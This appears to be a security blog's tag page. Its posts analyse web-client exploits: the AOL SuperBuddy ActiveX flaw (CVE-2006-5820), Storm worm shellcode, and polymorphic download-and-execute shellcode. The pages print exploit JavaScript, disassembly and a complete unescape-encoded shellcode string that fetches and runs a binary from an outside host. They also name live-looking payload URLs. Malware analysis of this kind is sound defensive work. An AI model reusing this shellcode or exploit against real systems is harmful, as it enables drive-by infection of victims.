Menu:

Showing posts with tag binary. Show all posts.

Analyzing ActiveX controls

In my post about the vulnerability in the SuperBuddy ActiveX control, I've glossed over a couple of details that may be interesting:

  1. how to know which methods are exposed by an ActiveX control
  2. how to identify a specific method in the binary object of the control.

Several tools solve the first problem. In particular, I like OLE/COM Object Viewer (oleviewer, in short) and COMRaider.

For example, oleviewer shows the following information about SuperBuddy:

Information about SuperBuddy shown by oleviewer

In particular, note the CLSID and the ProgID fields (you'll need these values if you want to instantiate the control), and the path to the DLL that provides the control. On the left hand side, there is the list of interfaces implemented by the control.

If you focus on the ISuperBuddy interface, you obtain the list of its methods. As expected, the vulnerable method LinkSBIcons is shown and we can also see its signature.

The ISuperBuddy interface

For the second problem (getting the address of a method), I could not find a better way than instantiating a control and dumping its virtual table (I see that this is essentially the solution also proposed by the folks at Websense):

#include "stdafx.h"
#import "C:\Program Files\AOL 9.0\sb.dll"

int _tmain(int argc, _TCHAR* argv[])
{
    SBLib::ISuperBuddy *pSb;
    CoInitialize(NULL);
    HRESULT hr = CoCreateInstance(__uuidof(SBLib::SuperBuddy), 
                   NULL,
                   CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
                   __uuidof(SBLib::ISuperBuddy),
                   (LPVOID *) &pSb);
    if (hr == S_OK) {
        DWORD vtable = *(DWORD *) pSb;
        DWORD *p = (DWORD *) vtable;
        for (int i = 0; i < 55; i++) {
            printf("%02d: %p", i, *p);
            printf("\n");
            p++;
        }
    } else {
        printf("CoCreateInstance error: %x\n", hr);
        return 1;
    }
    return 0;
}

The functions are in the same order as shown by oleviewer: at index 2 you find IUnknown::Release(), and, then, counting up, all the others. LinkSBIcons is at index 49, which corresponds to address 0x6398692D.

00: 63984070
01: 63983FEC
02: 63983FFC
...
48: 639870C9
49: 6398692D
50: 6398735B
...

Let me know if you know a better way to do this!


Web client exploit zoo: SuperBuddy

In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)

So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.

Here is a typical exploit (it is also available as a Metasploit exploit):

function a9_bwCED() {
    try {
        var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
        if (OBGUiGAa) {
            Exhne69P();
            dU578_go(9);
            OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
        }   
    } catch(e) { }   
    return 0;
}

The function Exhne69P sets up the shellcode and the function dU578_go sets a cookie, probably to keep statistics on the success rate of the attack. The actual exploitation occurs by invoking the LinkSBIcons method with the 0x0c0c0c0c parameter.

The vulnerable code is contained in the sb.dll library:

6398692d <LinkSBIcons>::
 6398692d:   push   %ebp
 6398692e:   mov    %esp,%ebp
 63986930:   mov    0xc(%ebp),%eax     ; eax := arg
 63986933:   test   %eax,%eax       
 63986935:   je     0x63986969         ; bail out if NULL
 63986937:   mov    (%eax),%ecx        ; ecx := *arg
 63986939:   push   %esi
 6398693a:   push   %edi
 6398693b:   mov    0x8(%ebp),%edi
 6398693e:   lea    0x30(%edi),%esi
 63986941:   push   %esi
 63986942:   push   $0x6399037c
 63986947:   push   %eax
 63986948:   call   *(%ecx)            ; call *ecx

The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:

SuperBuddy crashes trying to execute code at 0x41414141


Storm's shellcode

The Storm group has launched a new campaign theme, based on the bogus story that World War III would be started. Incidentally, they are starting to be repetitive: they were using a very similar theme back in April 2007.

Besides the usual fake youtube video — you click on it and the download of the malicious binary starts — they are also using drive-by download techniques to infect their victims. An iframe points to the file ind.php, which attempts to perform a number of browser exploits. Nothing special here: everything is very similar to other javascript attacks.

The shellcode used by Storm is also very similar to what we have seen in the past, both functionally (download and execute a binary) and in the use of simple polymorphic techniques. However, there are some differences: one is that it doesn't store the hash values of the library functions to invoke at the end of the code. Sequences of hash values probably make for a good signature for IDS systems. Thus, this shellcode uses hash values inline (in what follows, find_function returns the address of a function, given the function's hash and the containing DLL's base address):

  00000033:   push esi                ; kernel32.dll base
  00000034:   push dword 0xec0e4e8e   ; LoadLibrary (hash)
  00000039:   call 0x13c<find_function>
  0000003E:   mov [ebp+0x4],eax
  00000041:   push esi
  00000042:   push dword 0xe8afe98    ; WinExec (hash)
  00000047:   call 0x13c<find_function>
  0000004C:   mov [ebp+0x8],eax
  0000004F:   push esi
  00000050:   push dword 0xc2ffb025   ; DeleteFileA (hash)
  00000055:   call 0x13c<find_function>
  0000005A:   mov [ebp+0xc],eax
  0000005D:   push esi
  0000005E:   push dword 0x60e0ceef   ; ExitThread (hash)
  00000063:   call 0x13c<find_function>
  00000068:   mov [ebp+0x10],eax
  0000006B:   push esi
  0000006C:   push dword 0xb8e579c1   ; GetSystemDirectoryA (hash)
  00000071:   call 0x13c<find_function>

Here is an example of how one these library functions is invoked. This is the function URLDownloadToFile from the urlmon DLL.

  000000EB:   xor ebx,ebx
  000000ED:   push ebx                ; NULL
  000000EE:   push ebx                ; NULL
  000000EF:   push dword [ebp+0x20]   ; ptr to "SYSDIR/~.exe"
  000000F2:   push eax                ; eax := addr of the URL
  000000F3:   push ebx                ; NULL
  000000F4:   mov eax,[ebp+0x1c]      ; eax := addr of URLDownloadToFile
  000000F7:   push byte +0x5
  000000F9:   pop ecx                 ; ecx := 5
  000000FA:   mov edx,[ebp+0x18]      ; edx := ptr to ret instruction
  000000FD:   call 0x125<call_lib_func>

The function that I named call_lib_func invokes the requested DLL function. It receives the number of parameters (in ecx), the function address (in eax), and the address of a ret instruction (in edx). It first sets up the stack (return address into the caller first, followed by the parameters, and the address of the ret instruction last), and then jumps to the library function's address. The weird stack manipulation is required since Win32 API functions use the __stdcall calling convention.

  00000125:   inc ecx                 ; ecx := # params + 1
  00000126:   pop ebx                 
  00000127:   push edx                
  00000128:   add esp,ecx
  0000012A:   add esp,ecx
  0000012C:   add esp,ecx
  0000012E:   add esp,ecx             ; esp points past the last parameter
fixup_stack_for_stdcall:
  00000130:   sub esp,byte +0x4
  00000133:   pop edx
  00000134:   push ebx
  00000135:   mov ebx,edx
  00000137:   loop 0x130<fixup_stack_for_stdcall>
  00000139:   push edx                ; edx points to ret instruction
  0000013A:   jmp eax                 ; eax holds address of lib function

The final effect of the shellcode is:

  1. a binary is downloaded, in the case I've analyzed, from http://activeware.cn/load.php?bof,
  2. the binary is saved on the victim's filesystem, and
  3. it's executed

Polymorphic shellcode

In web-based attacks, such as the ones employed in the recent SQL injection attacks, you have to go through three layers of JavaScript obfuscation and as many redirects before getting to the actual exploit code. And, the tricks of the attackers do not stop here.

In fact, attackers are also using polymorphic techniques to mutate the code of their shellcode and avoid detection by anti-virus and anti-malware tools.

This is the beginning of the shellcode found in one these attacks:

00000000:  E800000000        call 0x5
00000005:  5D                pop ebp
00000006:  83C514            add ebp,byte +0x14 ; ebp = 0x19
00000009:  B98D010000        mov ecx,0x18d      ; for i in range(0x18d):
0000000E:  B0A1              mov al,0xa1
00000010:  304500            xor [ebp+0x0],al   ;   [ebp] = [ebp] ^ 0xa1
00000013:  45                inc ebp            ;   ebp += 1
00000014:  49                dec ecx
00000015:  75F9              jnz 0x10
00000017:  EB00              jmp short 0x19
00000019:  3131              xor [ecx],esi
0000001B:  3131              xor [ecx],esi
0000001D:  ...

The code gets the current EIP, skips 0x14 additional bytes (the decryption instructions), and xors the remaining 0x18d bytes with the value 0xa1. After undoing the obfuscation, one obtains the same shellcode we have seen some time ago:

00000019:  90                nop
0000001A:  90                nop
0000001B:  90                nop
0000001C:  90                nop
0000001D:  90                nop
0000001E:  90                nop
0000001F:  90                nop
00000020:  90                nop
00000021:  E9FC000000        jmp 0x122
00000026:  5F                pop edi
00000027:  64A130000000      mov eax,[fs:0x30]
0000002D:  780C              js 0x3b
0000002F:  8B400C            mov eax,[eax+0xc]
00000032:  8B701C            mov esi,[eax+0x1c]
00000035:  AD                lodsd
00000036:  8B6808            mov ebp,[eax+0x8]
00000039:  EB09              jmp short 0x44
0000003B:  ...

JavaScript attack - part II

Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.

Let's meet the shellcode:

var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");

It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.

First, the shellcode obtains the address of kernel32.dll. It uses the PEB-based technique first described by The Last Stage of Delirium:

  0000000E    mov eax,[fs:0x30]         ; get the PEB
  00000014    js 0x22<find_kernel32_9x>
find_kernel32_nt:
  00000016    mov eax,[eax+0xc]         ; get ptr to PEB_LDR_DATA
  00000019    mov esi,[eax+0x1c]        ; get 1st entry of InInitalizationOrderModuleList
  0000001C    lodsd
  0000001D    mov ebp,[eax+0x8]         ; get kernel32.dll base
  00000020    jmp short 0x2b
find_kernel32_9x:
  00000022    mov eax,[eax+0x34]
  00000025    lea eax,[eax+0x7c]
  00000028    mov ebp,[eax+0x3c]

Once the base address of kernel32.dll is known, it can be used to identify the address of useful functions exported in this DLL. To do so, the shellcode defines a routine, let's call it find_function, that walks the export name table of the given DLL and looks for a given function name. Instead of matching directly on the name of the function, the shellcode computes a simple hash of the name, and uses that to locate interesting functions. This is probably done to save some space and obfuscate the purposes of the code.

The find_function expects two parameters: the base address of the DLL (contained in the ebp register) and a pointer to the hash of the function to identify (in the edi register):

find_function:
  000000C4    push ecx  
  000000C5    push esi
  000000C6    mov esi,[ebp+0x3c]        ; get the PE header
  000000C9    mov esi,[esi+ebp+0x78]
  000000CD    add esi,ebp
  000000CF    push esi
  000000D0    mov esi,[esi+0x20]        ; get the export name table
  000000D3    add esi,ebp
  000000D5    xor ecx,ecx
  000000D7    dec ecx
hash_init:
  000000D8    inc ecx
  000000D9    lodsd
  000000DA    add eax,ebp
  000000DC    xor ebx,ebx               ; ebx stores the computed hash
hash_update:
  000000DE    movsx edx,byte [eax]
  000000E1    cmp dl,dh
  000000E3    jz 0xed<hash_done>
  000000E5    ror ebx,0xd
  000000E8    add ebx,edx
  000000EA    inc eax
  000000EB    jmp short 0xde<hash_update>
hash_done:
  000000ED    cmp ebx,[edi]             ; have we found the given hash?
  000000EF    jnz 0xd8<hash_init>
  000000F1    pop esi
  000000F2    mov ebx,[esi+0x24]
  000000F5    add ebx,ebp
  000000F7    mov cx,[ebx+ecx*2]
  000000FB    mov ebx,[esi+0x1c]
  000000FE    add ebx,ebp
  00000100    mov eax,[ebx+ecx*4]
  00000103    add eax,ebp
  00000105    stosd                     ; store the address in place of the hash
  00000106    pop esi
  00000107    pop ecx
  00000108    ret

The hash value is computed with simple ror and add operations. I use the following code to compute the hash of a function name:

unsigned int ror(unsigned int num, int places) {
    return (num >> places) | (num << (32 - places));
}

unsigned int get_hash(const char *name) {
    const char *ch;
    unsigned int hash = 0;

    for (ch = name; *ch; ch++) {
        hash = (ror(hash, 0xd) + *ch);
    }   

    return hash;
}

The hashes of the functions to locate are stored in a table at the end of the shellcode. With the above program and a list of all the functions in kernel32.dll (obtained from here), it is easy to indentify the name of the corresponding functions:

  0000010E      dd 0EC0E4E8Eh           ; LoadLibraryA (hash)
  00000112      dd 0E8AFE98h            ; WinExec (hash)
  00000116      dd 73E2D87Eh            ; ExitProcess (hash)
  0000011A      dd 5B8ACA33h            ; GetTempPathA (hash)
  0000011E      dd 702F1A36h            ; URLDownloadToFileA (hash)

At this point, the shellcode loads urlmon.dll and finds the function URLDownloadToFileA:

  00000037    push dword 0x6e6f
  0000003C    push dword 0x6d6c7275
  00000041    push esp
  00000042    call near [esi]           ; LoadLibraryA("urlmon")
  00000044    mov ebp,eax
  00000046    call 0xc4<find_function>  ; find_function(urlmon.dll, URLDownloadToFileA)

The shellcode then creates a temporary file (using the GetTempPathA function), downloads a file from http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA function), executes the downloaded file (via WinExec), and finally exits (ExitProcess).

Not bad for what initially just looked like a long string in a JavaScript script...